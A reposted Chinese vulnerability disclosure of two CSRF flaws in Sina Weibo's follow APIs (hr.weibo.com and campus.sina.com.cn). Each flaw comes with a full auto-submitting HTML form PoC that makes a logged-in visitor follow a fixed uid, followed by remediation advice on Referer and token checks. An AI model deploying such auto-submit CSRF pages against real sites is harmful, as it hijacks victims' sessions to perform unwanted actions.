网站地图    收藏   

主页 > 后端 > 网站安全 >

新浪微博两处CSRF刷粉丝 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 微博加关注的接口要管理好啊,新浪的同学!没有对referer验证,没有加token导致登录新浪微博社会招聘:http://hr.weibo.com/jobs/index.php访问如下poc页面htmlbodyform id=fxx name=fxx action=ht......

微博加关注的接口要管理好啊,新浪的同学!
没有对referer验证,没有加token导致 
登录新浪微博社会招聘:http://hr.weibo.com/jobs/index.php
访问如下poc页面
<html>
<body>
<form id="fxx" name="fxx" action="http://hr.weibo.com/api/add_friend.php" method="POST">
<input type="text" name="uid" value="1981622273" />
<input type="submit" value="submit" />
</form>
<script>
document.fxx.submit();
</script>
</body>
</html>
即可关注乌云:
 
修复方案:

1.这个站CSRF不设防哦,请做好其他检查;
2.检查POST来路Referer,在POST的信息中加token; 



多留意了一眼,就多了一个洞
详细说明:没有对referer验证,没有加token导致 
漏洞证明:登录新浪微博社会招聘:http://campus.sina.com.cn
访问如下poc页面
<body>
<form id="fxx" name="fxx" action="http://campus.sina.com.cn/api/add_friend.php" method="POST">
<input type="text" name="uid" value="1981622273" />
<input type="submit" value="submit" />
</form>
<script>
document.fxx.submit();
</script>
</body>
</html>
 

 
修复方案:

1.这个站同样也是CSRF不设防哦,请做好其他检查;
2.检查POST来路Referer,在POST的信息中加token;




 


自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论